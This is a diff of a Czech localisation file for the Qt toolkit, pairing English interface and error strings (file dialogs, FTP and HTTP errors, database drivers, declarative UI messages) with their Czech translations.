-        Vytvoření adresářů se nezdařilo:
-%1
+        Expected type name
+        Očekávaný název typu
     
     
-        
-        
-        Not connected
-        Žádné spojení
+        Invalid import qualifier ID
+        Neplatný údaj o ID při zavádění
     
     
-        
-        
-        Connection refused for data connection
-        Odmítnuto spojení spojení pro data
+        Reserved name "Qt" cannot be used as an qualifier
+        Zamluvený název "Qt" nemůže být použit jako kvalifikant
     
     
-        
-        
-        Login failed:
-%1
-        Přihlášení se nezdařilo:
-%1
+        Script import qualifiers must be unique.
+        Kvalifikanty zadané pro zavedení skriptu musí být jednoznačné.
     
     
-        
-        
-        Downloading file failed:
-%1
-        Stažení souboru se nezdařilo:
-%1
+        Script import requires a qualifier
+        Zavedení skriptu vyžaduje údaj o kvalifikantu
     
     
-        
-        Connected to host
-        Spojení s počítačem navázáno
+        Library import requires a version
+        Zavedení knihovny vyžaduje údaj o verzi
     
     
-        
-        Connection timed out to host %1
-        Časový limit pro spojení s počítačem '%1' byl překročen
+        Expected parameter type
+        Očekáván typ parametru
     
     
-        
-        
-        
-        Connected to host %1
-        Spojeno s počítačem %1
+        Invalid property type modifier
+        Neplatný modifikátor pro typ vlastnosti
     
     
-        
-        
-        Connecting to host failed:
-%1
-        Spojení s počítačem se nezdařilo:
-%1
+        Unexpected property type modifier
+        Neočekávaný modifikátor pro typ vlastnosti
     
     
-        
-        
-        Host %1 not found
-        Počítač %1 se nepodařilo nalézt
+        Expected property type
+        Očekáván typ vlastnosti
     
     
-        
-        
-        Uploading file failed:
-%1
-        Nahrání souboru se nezdařilo:
-%1
+        Readonly not yet supported
+        "Pouze pro čtení" není na tomto místě ještě nepodporováno
     
     
-        
-        
-        Changing directory failed:
-%1
-        Změna adresáře se nezdařila:
-%1
+        JavaScript declaration outside Script element
+        Prohlášení JavaScriptu není mimo prvek skriptu přípustné
     
+
+
+    QDeclarativePauseAnimation
     
-        
-        Host found
-        Počítač byl nalezen
+        Cannot set a duration of < 0
+        Nelze nastavit dobu trvání < 0
     
+
+
+    QDeclarativePixmap
     
-        
-        
-        Removing directory failed:
-%1
-        Odstranění adresáře se nezdařilo:
-%1
+        Error decoding: %1: %2
+        Chba při dekódování: %1: %2
     
     
-        
-        
-        Connection refused to host %1
-        Spojení s počítačem %1 odmítnuto
+        Failed to get image from provider: %1
+        Obrazová data se od poskytovatele nepodařilo získat: %1
     
     
-        
-        Connection to %1 closed
-        Spojení s %1 ukončeno
+        Cannot open: %1
+        Nelze otevřít: %1
     
+
+
+    QDeclarativePropertyAnimation
     
-        
-        
-        Removing file failed:
-%1
-        Odstranění souboru se nezdařilo:
-%1
+        Cannot set a duration of < 0
+        Nelze nastavit dobu trvání < 0
     
+
+
+    QDeclarativePropertyChanges
     
-        
-        Host %1 found
-        Počítač %1 byl nalezen
+        PropertyChanges does not support creating state-specific objects.
+        PropertyChanges nepodporuje vytváření předmětů, které jsou přiřazeny jednomu stavu.
     
     
-        
-        
-        
-        
-        Unknown error
-        Neznámá chyba
+        Cannot assign to non-existent property "%1"
+        Nelze provést žádné přiřazení, neboť neexistuje výchozí vlastnost pojmenovaná jako "%1"
     
     
-        
-        
-        
-        Connection closed
-        Spojení ukončeno
+        Cannot assign to read-only property "%1"
+        Vlastnost '%1" je pouze pro čtení a nelze ji proto přiřadit
     
 
 
-    QHostInfo
+    QDeclarativeTextInput
     
-        
-        Unknown error
-        Neznámá chyba
+        Could not load cursor delegate
+        Nepodařilo se nahrát zástupce kurzoru
     
-
-
-    QHostInfoAgent
     
-        
-        
-        
-        
-        Host not found
-        Nepodařilo se najít počítač
+        Could not instantiate cursor delegate
+        Zástupce kurzoru se nepodařilo doložit příkladem
     
+
+
+    QDeclarativeTypeLoader
     
-        
-        
-        
-        
-        Unknown address type
-        Neznámý typ adresy
+        Script %1 unavailable
+        Skript %1 nedostupný
     
     
-        
-        
-        
-        Unknown error
-        Neznámá chyba
+        Type %1 unavailable
+        Typ %1 nedostupný
     
     
-        
-        No host name given
-        Nebyl zadán název pro hostitelský počítač
+        Namespace %1 cannot be used as a type
+        Jmenný prostor %1 nelze použít jako typ
     
     
-        
-        Invalid hostname
-        Neplatný název pro hostitelský počítač
+        %1 %2
+        %1 %2
     
 
 
-    QHttp
+    QDeclarativeVME
     
-        
-        Connection refused (or timed out)
-        Spojení bylo odmítnuto (nebo byl překročen časový limit)
+        Unable to create object of type %1
+        Nepodařilo se vytvořit žádný předmět typu %1
     
     
-        
-        Data corrupted
-        Data jsou poškozena
+        Cannot assign value %1 to property %2
+        Hodnotu '%1' nelze přiřadit vlastnosti %2
     
     
-        
-        Connected to host
-        Spojení s počítačem navázáno
+        Cannot assign object type %1 with no default method
+        Typ předmětu %1 nelze přiřadit, protože neexistuje žádná výchozí metoda
     
     
-        
-        Connected to host %1
-        Spojeno s počítačem %1
+        Cannot connect mismatched signal/slot %1 %vs. %2
+        Nelze vytvořit žádné spojení mezi signálem %1 a otvorem %2, protože se k sobě nehodí
     
     
-        
-        
-        
-        Host %1 not found
-        Počítač %1 se nepodařilo nalézt
+        Cannot assign an object to signal property %1
+        Vlastnosti signálu %1 nelze přiřadit žádný předmět
     
     
-        
-        Host requires authentication
-        Hostitelský počítač požaduje autentizaci
+        Cannot assign object to list
+        Přiřazení předmětu k seznamům není přípustné
     
     
-        
-        Error writing response to device
-        Při psaní odpovědi výstupnímu zařízení se vyskytla chyba
+        Cannot assign object to interface property
+        Vlastnosti rozhraní nelze přiřadit žádný předmět
     
     
-        
-        HTTPS connection requested but SSL support not compiled in
-        Požadované HTTPS spojení nelze vytvořit, protože neexistuje žádná SSL podpora
+        Unable to create attached object
+        Nepodařilo se vytvořit žádný připojený předmět (typu 'attached')
     
     
-        
-        Host found
-        Počítač byl nalezen
+        Cannot set properties on %1 as it is null
+        Vlastnosti nelze nastavit na %1, protože jsou 'null'
     
+
+
+    QDeclarativeVisualDataModel
     
-        
-        
-        Connection refused
-        Spojení bylo odmítnuto
+        Delegate component must be Item type.
+        Součástka zástupce musí být typu 'item'.
     
+
+
+    QDeclarativeXmlListModel
     
-        
-        Proxy authentication required
-        Požadována proxy autentizace
+        Qt was built without support for xmlpatterns
+        Qt bylo sestaveno bez podpory pro xmlpatterns
     
+
+
+    QDeclarativeXmlListModelRole
     
-        
-        Unknown protocol specified
-        Byl zadán neznámý protokol
+        An XmlRole query must not start with '/'
+        Vyhledávání XmlRole nesmí začínat s '/'
     
+
+
+    QDeclarativeXmlRoleList
     
-        
-        
-        
-        
-        HTTP request failed
-        HTTP dotaz se nezdařil
+        An XmlListModel query must start with '/' or "//"
+        Vyhledávání XmlListModel musí začínat s '/' nebo "//"
     
+
+
+    QDial
     
-        
-        Proxy requires authentication
-        Proxy server požaduje autentizaci
+        QDial
+        QDial
     
     
-        
-        Authentication required
-        Požadována autentizace
+        SliderHandle
+        Posuvník
     
     
-        
-        SSL handshake failed
-        Během startu SSL protokolu se vyskytla chyba
+        SpeedoMeter
+        Rychloměr
     
+
+
+    QDialog
     
-        
-        Connection to %1 closed
-        Spojení s %1 ukončeno
+        Done
+        Hotovo
     
     
-        
-        
-        
-        
-        Invalid HTTP chunked body
-        Obsah (chunked body - rozkouskované tělo) HTTP je neplatný
+        What's This?
+        Co je toto?
     
+
+
+    QDialogButtonBox
     
-        
-        Host %1 found
-        Počítač %1 byl nalezen
+        OK
+        OK
     
     
-        
-        
-        Wrong content length
-        Neplatný údaj o délce obsahu
+        &OK
+        &OK
     
     
-        
-        
-        
-        
-        Unknown error
-        Neznámá chyba
+        &No
+        &Ne
     
     
-        
-        
-        Invalid HTTP response header
-        Hlavička HTTP odpovědi není platná
+        &Yes
+        &Ano
     
     
-        
-        Unknown authentication method
-        Neznámý způsob autentizace
+        Help
+        Nápověda
     
     
-        
-        
-        Connection closed
-        Spojení ukončeno
+        Open
+        Otevřít
     
     
-        
-        
-        No server set to connect to
-        Pro spojení nebyl nastaven žádný počítač - server
+        Save
+        Uložit
     
     
-        
-        
-        Server closed connection unexpectedly
-        Server neočekávaně uzavřel spojení
+        &Save
+        &Uložit
+    
+    
+        Abort
+        Zrušit
+    
+    
+        Apply
+        Použít
+    
+    
+        Close
+        Zavřít
+    
+    
+        Reset
+        Vrátit
+    
+    
+        Retry
+        Opakovat
+    
+    
+        Restore Defaults
+        Obnovit výchozí
+    
+    
+        &Close
+        &Zavřít
+    
+    
+        Cancel
+        Zrušit
+    
+    
+        Ignore
+        Přehlížet
+    
+    
+        Close without Saving
+        Zavřít bez uložení
+    
+    
+        N&o to All
+        N&e, žádné
+    
+    
+        Save All
+        Uložit vše
+    
+    
+        &Cancel
+        &Zrušit
+    
+    
+        Discard
+        Odmítnout
+    
+    
+        Yes to &All
+        Ano, &vše
+    
+    
+        Don't Save
+        Neukládat
+    
+
+
+    QDirModel
+    
+        Kind
+        Druh
+    
+    
+        Name
+        Název
+    
+    
+        Size
+        Velikost
+    
+    
+        Kind
+        Match OS X Finder
+        Druh
+    
+    
+        Type
+        All other platforms
+        Typ
+    
+    
+        Type
+        Typ
+    
+    
+        Date Modified
+        Datum změny
+    
+
+
+    QDockWidget
+    
+        Dock
+        Vplout do panelu
+    
+    
+        Close
+        Zavřít
+    
+    
+        Float
+        Plout
+    
+
+
+    QDoubleSpinBox
+    
+        Less
+        Méně
+    
+    
+        More
+        Více
+    
+
+
+    QErrorMessage
+    
+        &OK
+        &OK
+    
+    
+        Fatal Error:
+        Osudová chyba:
+    
+    
+        &Show this message again
+        Toto hlášení &ukázat ještě jednou
+    
+    
+        Debug Message:
+        Hlášení o odladění:
+    
+    
+        Warning:
+        Varování:
+    
+
+
+    QFile
+    
+        Cannot create %1 for output
+        %1 se nepodařilo zřídit pro výstup
+    
+    
+        Failure to write block
+        Datový blok se nepodařilo zapsat
+    
+    
+        Will not rename sequential file using block copy
+        Nepřejmenuje posloupný soubor pomocí kopie bloku
+    
+    
+        Cannot remove source file
+        Nelze odstranit zdrojový soubor
+    
+    
+        Cannot open %1 for input
+        %1 se nepodařilo otevřít pro čtení
+    
+    
+        Destination file exists
+        Cílový soubor již existuje
+    
+    
+        Cannot open for output
+        Nepodařilo se otevřít pro zápis
+    
+
+
+    QFileDialog
+    
+        Back
+        Zpět
+    
+    
+        File
+        Soubor
+    
+    
+        File Folder
+        Match Windows Explorer
+        Souborová složka
+    
+    
+        Folder
+        All other platforms
+        Složka
+    
+    
+        Alias
+        Mac OS X Finder
+        Přezdívka
+    
+    
+        Shortcut
+        All other platforms
+        Zkratka
+    
+    
+        Open
+        Otevřít
+    
+    
+        &Open
+        &Otevřít
+    
+    
+        &Save
+        &Uložit
+    
+    
+        Drive
+        Disková jednotka
+    
+    
+        Show 
+        Ukázat 
+    
+    
+        '%1' is write protected.
+Do you want to delete it anyway?
+        '%1' je chráněn proti zápisu.
+Přesto chcete soubor smazat?
+    
+    
+        File &name:
+        Název &souboru:
+    
+    
+        New Folder
+        Nová složka
+    
+    
+        Parent Directory
+        Nadřazený adresář
+    
+    
+        &New Folder
+        &Nová složka
+    
+    
+        Remove
+        Odstranit
+    
+    
+        My Computer
+        Můj počítač
+    
+    
+        Look in:
+        Hledat v:
+    
+    
+        Files of type:
+        Soubory typu:
+    
+    
+        Find Directory
+        Najít adresář
+    
+    
+        Show &hidden files
+        &Ukázat skryté soubory
+    
+    
+        Are sure you want to delete '%1'?
+        Jste si jistý, že %1 chcete smazat?
+    
+    
+        Save As
+        Uložit jako
+    
+    
+        %1
+Directory not found.
+Please verify the correct directory name was given.
+        %1
+Adresář se nepodařilo nalézt.
+Ověřte, prosím, že byl zadán správný název adresáře.
+    
+    
+        List View
+        Pohled se seznamem
+    
+    
+        &Choose
+        &Vybrat
+    
+    
+        &Delete
+        &Smazat
+    
+    
+        All Files (*)
+        Všechny soubory (*)
+    
+    
+        Directories
+        Adresáře
+    
+    
+        All Files (*.*)
+        Všechny soubory (*.*)
+    
+    
+        &Rename
+        &Přejmenovat
+    
+    
+        Could not delete directory.
+        Adresář se nepodařilo smazat.
+    
+    
+        Directory:
+        Adresář:
+    
+    
+        Unknown
+        Neznámý
+    
+    
+        %1 already exists.
+Do you want to replace it?
+        Soubor %1 již existuje.
+Chcete jej nahradit?
+    
+    
+        Forward
+        Dopředu
+    
+    
+        Recent Places
+        Naposledy navštívené
+    
+    
+        Create New Folder
+        Vytvořit novou složku
+    
+    
+        Detail View
+        Podrobný pohled
+    
+    
+        %1
+File not found.
+Please verify the correct file name was given.
+        %1
+Soubor se nepodařilo nalézt.
+Ověřte, prosím, že byl zadán správný název souboru.
+    
+    
+        Go back
+        Jít zpět
+    
+    
+        Go forward
+        Jít dopředu
+    
+    
+        Go to the parent directory
+        Jít do rodičovského adresáře
+    
+    
+        Create a New Folder
+        Vytvořit novou složku
+    
+    
+        Change to list view mode
+        Změnit na režim pohledu se seznamem
+    
+    
+        Change to detail view mode
+        Změnit na režim s podrobným pohledem
+    
+
+
+    QFileSystemModel
+    
+        Kind
+        Druh
+    
+    
+        Name
+        Název
+    
+    
+        Size
+        Velikost
+    
+    
+        Type
+        Typ
+    
+    
+        %1 GB
+        %1 GB
+    
+    
+        %1 KB
+        %1 KB
+    
+    
+        %1 MB
+        %1 MB
+    
+    
+        %1 TB
+        %1 TB
+    
+    
+        <b>The name "%1" can not be used.</b><p>Try using another name, with fewer characters or no punctuations marks.
+        <b>Název "%1" nelze použít.</b><p>Zkuste použít jiný název, s menším počtem znaků nebo bez zvláštních znaků.
+    
+    
+        %1 bytes
+        %1 bytů
+    
+    
+        My Computer
+        Můj počítač
+    
+    
+        Computer
+        Počítač
+    
+    
+        Invalid filename
+        Neplatný název souboru
+    
+    
+        Kind
+        Match OS X Finder
+        Druh
+    
+    
+        Type
+        All other platforms
+        Typ
+    
+    
+        Date Modified
+        Datum změny
+    
+    
+        %1 byte(s)
+        %1 byt(ů)
+    
+
+
+    QFontDatabase
+    
+        Any
+        Všechna
+    
+    
+        Lao
+        Laoské
+    
+    
+        Bold
+        Tučné
+    
+    
+        Demi
+        Polotučné
+    
+    
+        Thai
+        Thajské
+    
+    
+        Black
+        Černé
+    
+    
+        Greek
+        Řecké
+    
+    
+        Khmer
+        Khmerské
+    
+    
+        Latin
+        Latinské
+    
+    
+        Light
+        Lehké
+    
+    
+        Ogham
+        Ogamské
+    
+    
+        Oriya
+        Oriya
+    
+    
+        Runic
+        Runové
+    
+    
+        Tamil
+        Tamilské
+    
+    
+        Cyrillic
+        Cyrilské
+    
+    
+        Kannada
+        Kannada
+    
+    
+        Malayalam
+        Malayalam
+    
+    
+        Simplified Chinese
+        Zjednodušená čínština
+    
+    
+        N'Ko
+        N'Ko
+    
+    
+        Demi Bold
+        Polotučné
+    
+    
+        Arabic
+        Arabské
+    
+    
+        Hebrew
+        Hebrejské
+    
+    
+        Myanmar
+        Myanmar
+    
+    
+        Italic
+        Itala
+    
+    
+        Korean
+        Korejské
+    
+    
+        Normal
+        Obvyklé
+    
+    
+        Oblique
+        Nakloněné
+    
+    
+        Telugu
+        Telugu
+    
+    
+        Thaana
+        Thaana
+    
+    
+        Symbol
+        Symbol
+    
+    
+        Syriac
+        Syrské
+    
+    
+        Devanagari
+        Devanagari
+    
+    
+        Japanese
+        Japonské
+    
+    
+        Bengali
+        Bengálské
+    
+    
+        Armenian
+        Arménské
+    
+    
+        Sinhala
+        Sinhálské
+    
+    
+        Tibetan
+        Tibetské
+    
+    
+        Vietnamese
+        Větnamské
+    
+    
+        Gujarati
+        Gujarati
+    
+    
+        Traditional Chinese
+        Tradiční čínština
+    
+    
+        Georgian
+        Gruzínské
+    
+    
+        Gurmukhi
+        Gurmukhi
+    
+
+
+    QFontDialog
+    
+        &Font
+        &Písmo
+    
+    
+        &Size
+        &Velikost
+    
+    
+        Sample
+        Vzorek
+    
+    
+        Font st&yle
+        Druh pís&ma
+    
+    
+        Wr&iting System
+        Způsob &psaní
+    
+    
+        Select Font
+        Vybrat písmo
+    
+    
+        &Underline
+        &Podtrhnout
+    
+    
+        Effects
+        Efekty
+    
+    
+        Stri&keout
+        Pře&škrtnout
+    
+
+
+    QFtp
+    
+        Listing directory failed:
+%1
+        Obsah adresářů nelze ukázat:
+%1
+    
+    
+        Creating directory failed:
+%1
+        Vytvoření adresářů se nezdařilo:
+%1
+    
+    
+        Not connected
+        Žádné spojení
+    
+    
+        Connection refused for data connection
+        Odmítnuto spojení spojení pro data
+    
+    
+        Login failed:
+%1
+        Přihlášení se nezdařilo:
+%1
+    
+    
+        Downloading file failed:
+%1
+        Stažení souboru se nezdařilo:
+%1
+    
+    
+        Connected to host
+        Spojení s počítačem navázáno
+    
+    
+        Connection timed out to host %1
+        Časový limit pro spojení s počítačem '%1' byl překročen
+    
+    
+        Connected to host %1
+        Spojeno s počítačem %1
+    
+    
+        Connecting to host failed:
+%1
+        Spojení s počítačem se nezdařilo:
+%1
+    
+    
+        Host %1 not found
+        Počítač %1 se nepodařilo nalézt
+    
+    
+        Uploading file failed:
+%1
+        Nahrání souboru se nezdařilo:
+%1
+    
+    
+        Changing directory failed:
+%1
+        Změna adresáře se nezdařila:
+%1
+    
+    
+        Host found
+        Počítač byl nalezen
+    
+    
+        Removing directory failed:
+%1
+        Odstranění adresáře se nezdařilo:
+%1
+    
+    
+        Connection refused to host %1
+        Spojení s počítačem %1 odmítnuto
+    
+    
+        Connection to %1 closed
+        Spojení s %1 ukončeno
+    
+    
+        Removing file failed:
+%1
+        Odstranění souboru se nezdařilo:
+%1
+    
+    
+        Host %1 found
+        Počítač %1 byl nalezen
+    
+    
+        Unknown error
+        Neznámá chyba
+    
+    
+        Connection closed
+        Spojení ukončeno
+    
+
+
+    QHostInfo
+    
+        Unknown error
+        Neznámá chyba
+    
+    
+        No host name given
+        Nebyl zadán název pro hostitelský počítač
+    
+
+
+    QHostInfoAgent
+    
+        Host not found
+        Nepodařilo se najít počítač
+    
+    
+        Unknown address type
+        Neznámý typ adresy
+    
+    
+        Unknown error
+        Neznámá chyba
+    
+    
+        No host name given
+        Nebyl zadán název pro hostitelský počítač
+    
+    
+        Invalid hostname
+        Neplatný název pro hostitelský počítač
+    
+
+
+    QHttp
+    
+        Connection refused (or timed out)
+        Spojení bylo odmítnuto (nebo byl překročen časový limit)
+    
+    
+        Data corrupted
+        Data jsou poškozena
+    
+    
+        Connected to host
+        Spojení s počítačem navázáno
+    
+    
+        Connected to host %1
+        Spojeno s počítačem %1
+    
+    
+        Host %1 not found
+        Počítač %1 se nepodařilo nalézt
+    
+    
+        Host requires authentication
+        Hostitelský počítač požaduje autentizaci
+    
+    
+        Error writing response to device
+        Při psaní odpovědi výstupnímu zařízení se vyskytla chyba
+    
+    
+        HTTPS connection requested but SSL support not compiled in
+        Požadované HTTPS spojení nelze vytvořit, protože neexistuje žádná SSL podpora
+    
+    
+        Host found
+        Počítač byl nalezen
+    
+    
+        Connection refused
+        Spojení bylo odmítnuto
+    
+    
+        Proxy authentication required
+        Požadována proxy autentizace
+    
+    
+        Unknown protocol specified
+        Byl zadán neznámý protokol
+    
+    
+        HTTP request failed
+        HTTP dotaz se nezdařil
+    
+    
+        Proxy requires authentication
+        Proxy server požaduje autentizaci
+    
+    
+        Authentication required
+        Požadována autentizace
+    
+    
+        SSL handshake failed
+        Během startu SSL protokolu se vyskytla chyba
+    
+    
+        Connection to %1 closed
+        Spojení s %1 ukončeno
+    
+    
+        Invalid HTTP chunked body
+        Obsah (chunked body - rozkouskované tělo) HTTP je neplatný
+    
+    
+        Host %1 found
+        Počítač %1 byl nalezen
+    
+    
+        Wrong content length
+        Neplatný údaj o délce obsahu
+    
+    
+        Unknown error
+        Neznámá chyba
+    
+    
+        Invalid HTTP response header
+        Hlavička HTTP odpovědi není platná
+    
+    
+        Unknown authentication method
+        Neznámý způsob autentizace
+    
+    
+        Connection closed
+        Spojení ukončeno
+    
+    
+        No server set to connect to
+        Pro spojení nebyl nastaven žádný počítač - server
+    
+    
+        Server closed connection unexpectedly
+        Server neočekávaně uzavřel spojení
+    
+    
+        Request aborted
+        Požadavek byl zrušen
+    
+
+
+    QHttpSocketEngine
+    
+        Proxy connection refused
+        Proxy server odmítl navázání spojení
+    
+    
+        Proxy denied connection
+        Proxy server odmítl spojení
+    
+    
+        Proxy server not found
+        Nepodařilo se najít žádný proxy server
+    
+    
+        Proxy server connection timed out
+        Při spojení s proxy serverem byl překročen časový limit
+    
+    
+        Did not receive HTTP response from proxy
+        Žádná HTTP odpověď od proxy serveru
+    
+    
+        Proxy connection closed prematurely
+        Proxy server předčasně ukončil spojení
+    
+    
+        Error communicating with HTTP proxy
+        Chyba při spojení s proxy serverem
+    
+    
+        Authentication required
+        Požadována autentizace
+    
+    
+        Error parsing authentication request from proxy
+        Chyba při vyhodnocení autentizačního požadavku proxy serveru
+    
+
+
+    QIBaseDriver
+    
+        Unable to commit transaction
+        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
+    
+    
+        Could not start transaction
+        Nepodařilo se spustit žádnou transakci
+    
+    
+        Error opening database
+        Nepodařilo se otevřít spojení s databází
+    
+    
+        Unable to rollback transaction
+        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
+    
+
+
+    QIBaseResult
+    
+        Unable to commit transaction
+        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
+    
+    
+        Unable to open BLOB
+        Nepodařilo se otevřít BLOB
+    
+    
+        Could not describe statement
+        Nepodařilo se získat žádný popis příkazu
+    
+    
+        Could not describe input statement
+        Nepodařilo se získat žádný popis vstupního příkazu
+    
+    
+        Could not allocate statement
+        Přidělení příkazu se nezdařilo
+    
+    
+        Unable to write BLOB
+        Nepodařilo se zapsat BLOB
+    
+    
+        Could not start transaction
+        Nepodařilo se spustit žádnou transakci
+    
+    
+        Unable to close statement
+        Příkaz se nepodařilo zavřít
+    
+    
+        Could not get query info
+        Požadované informace k vyhledávání nejsou k dispozici
+    
+    
+        Could not find array
+        Nepodařilo se najít pole
+    
+    
+        Could not get array data
+        Nepodařilo se přečíst data pole
+    
+    
+        Unable to execute query
+        Dotaz se nepodařilo provést
+    
+    
+        Could not prepare statement
+        Příkaz se nepodařilo připravit
+    
+    
+        Could not fetch next item
+        Další prvek se nepodařilo vyzvednout
+    
+    
+        Could not get statement info
+        K dispozici není žádná informace k příkazu
+    
+    
+        Unable to create BLOB
+        Nepodařilo se vytvořit žádný BLOB
+    
+    
+        Unable to read BLOB
+        BLOB se nepodařilo přečíst
+    
+
+
+    QIODevice
+    
+        No such file or directory
+        Nepodařilo se najít žádný takový soubor nebo adresář
+    
+    
+        Permission denied
+        Přístup odepřen
+    
+    
+        No space left on device
+        Na zařízení není žádný volný úložný prostor
+    
+    
+        Unknown error
+        Neznámá chyba
+    
+    
+        Too many open files
+        Příliš mnoho otevřených souborů
+    
+
+
+    QInputContext
+    
+        XIM
+        XIM
+    
+    
+        FEP
+        FEP
+    
+    
+        Windows input method
+        Windows-vstupní metoda
+    
+    
+        S60 FEP input method
+        S60 FEP-vstupní metoda
+    
+    
+        XIM input method
+        XIM-vstupní metoda
+    
+    
+        Mac OS X input method
+        Mac OS X-vstupní metoda
+    
+
+
+    QInputDialog
+    
+        Enter a value:
+        Zadejte hodnotu:
+    
+
+
+    QLibrary
+    
+        Could not unmap '%1': %2
+        Operace unmap, zrušit zobrazení, se nezdařila u '%1': %2
+    
+    
+        Cannot unload library %1: %2
+        Knihovnu %1 nelze vyjmout: %2
+    
+    
+        Cannot load library %1: %2
+        Knihovnu %1 nelze nahrát: %2
+    
+    
+        The plugin '%1' uses incompatible Qt library. (%2.%3.%4) [%5]
+        Přídavný modul '%1' používá neslučitelnou Qt knihovnu. (%2.%3.%4) [%5]
+    
+    
+        Cannot resolve symbol "%1" in %2: %3
+        Symbol "%1" nelze v %2 vyřešit: %3
+    
+    
+        Plugin verification data mismatch in '%1'
+        Ověřovací data přídavného nesouhlasí v '%1'
+    
+    
+        The plugin '%1' uses incompatible Qt library. (Cannot mix debug and release libraries.)
+        Přídavný modul '%1' používá neslučitelnou Qt knihovnu. (Knihovny vytvořené v režimu ladění a vydání nemohou být používány společně.)
+    
+    
+        The file '%1' is not a valid Qt plugin.
+        Soubor '%1' není platným přídavným modulem Qt.
+    
+    
+        The shared library was not found.
+        Nepodařilo se nalézt sdílenou knihovnu.
+    
+    
+        Unknown error
+        Neznámá chyba
+    
+    
+        The plugin '%1' uses incompatible Qt library. Expected build key "%2", got "%3"
+        Přídavný modul '%1' používá neslučitelnou Qt knihovnu. Potřebný byl zvláštní klíč pro sestavení "%2", obdržen "%3"
+    
+    
+        Could not mmap '%1': %2
+        Operace mmap se nezdařila u '%1': %2
+    
+
+
+    QLineEdit
+    
+        Cu&t
+        &Vyjmout
+    
+    
+        &Copy
+        &Kopírovat
+    
+    
+        &Redo
+        &Znovu
+    
+    
+        &Undo
+        &Zpět
+    
+    
+        &Paste
+        &Vložit
+    
+    
+        Delete
+        Smazat
+    
+    
+        Select All
+        Vybrat vše
+    
+
+
+    QLocalServer
+    
+        %1: Name error
+        %1: Chybný název
+    
+    
+        %1: Unknown error %2
+        %1: Neznámá chyba %2
+    
+    
+        %1: Permission denied
+        %1: Přístup odepřen
+    
+    
+        %1: Address in use
+        %1: Adresa se již používá
+    
+
+
+    QLocalSocket
+    
+        %1: Connection error
+        %1: Chyba spojení
+    
+    
+        %1: Connection refused
+        %1: Spojení bylo odmítnuto
+    
+    
+        %1: Unknown error %2
+        %1: Neznámá chyba %2
+    
+    
+        %1: Socket access error
+        %1: Chyba při přístupu k zásuvce (socketu)
+    
+    
+        %1: Socket resource error
+        %1: Chyba zásuvky (socketu) - potíže se zdrojem
+    
+    
+        %1: The socket operation is not supported
+        %1: Tato operace se zásuvkou (socketem) není podporována
     
     
-        
-        
-        Request aborted
-        Požadavek byl zrušen
+        %1: Invalid name
+        %1: Neplatný název
+    
+    
+        %1: Unknown error
+        %1: Neznámá chyba
+    
+    
+        %1: Socket operation timed out
+        %1: Překročení času při operaci se zásuvkou (socketem)
+    
+    
+        %1: Datagram too large
+        %1: Datagram je příliš veliký
+    
+    
+        %1: Remote closed
+        %1: Spojení bylo protější stranou uzavřeno
+    
+
+
+    QMYSQLDriver
+    
+        Unable to commit transaction
+        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
+    
+    
+        Unable to open database '
+        Nepodařilo se otevřít spojení s databází '
+    
+    
+        Unable to connect
+        Nepodařilo se navázat spojení
+    
+    
+        Unable to rollback transaction
+        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
+    
+    
+        Unable to begin transaction
+        Transakci se nepodařilo spustit
+    
+
+
+    QMYSQLResult
+    
+        Unable to execute statement
+        Příkaz se nepodařilo provést
+    
+    
+        Unable to store statement results
+        Výsledky příkazu se nepodařilo uložit
+    
+    
+        Unable to execute next query
+        Další dotaz nelze provést
+    
+    
+        Unable to bind outvalues
+        Výstupní hodnoty se nepodařilo spojit
+    
+    
+        Unable to store next result
+        Další výsledek nelze uložit
+    
+    
+        Unable to fetch data
+        Nepodařilo se natáhnout žádná data
+    
+    
+        Unable to prepare statement
+        Příkaz se nepodařilo připravit
+    
+    
+        Unable to store result
+        Výsledek se nepodařilo uložit
+    
+    
+        Unable to bind value
+        Hodnotu se nepodařilo spojit
+    
+    
+        Unable to execute query
+        Dotaz se nepodařilo provést
+    
+    
+        Unable to reset statement
+        Příkaz se nepodařilo znovu nastavit
+    
+
+
+    QMdiArea
+    
+        (Untitled)
+        (Bez názvu)
+    
+
+
+    QMdiSubWindow
+    
+        Help
+        Nápověda
+    
+    
+        Menu
+        Menu
+    
+    
+        &Move
+        Po&sunout
+    
+    
+        &Size
+        Změnit &velikost
+    
+    
+        Close
+        Zavřít
+    
+    
+        Minimize
+        Zmenšit
+    
+    
+        Shade
+        Navinout
+    
+    
+        Stay on &Top
+        Zůstat v &popředí
+    
+    
+        &Close
+        &Zavřít
+    
+    
+        - [%1]
+        - [%1]
+    
+    
+        %1 - [%2]
+        %1 - [%2]
+    
+    
+        &Restore
+        &Obnovit
+    
+    
+        Restore
+        Obnovit
+    
+    
+        Maximize
+        Zvětšit
+    
+    
+        Unshade
+        Odvinout
+    
+    
+        Mi&nimize
+        Zmen&šit
+    
+    
+        Ma&ximize
+        Zvě&tšit
+    
+    
+        Restore Down
+        Obnovit
+    
+
+
+    QMenu
+    
+        Open
+        Otevřít
+    
+    
+        Close
+        Zavřít
+    
+    
+        Execute
+        Provést
+    
+
+
+    QMenuBar
+    
+        Actions
+        Činnosti
+    
+
+
+    QMessageBox
+    
+        OK
+        OK
+    
+    
+        Help
+        Nápověda
+    
+    
+        <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a 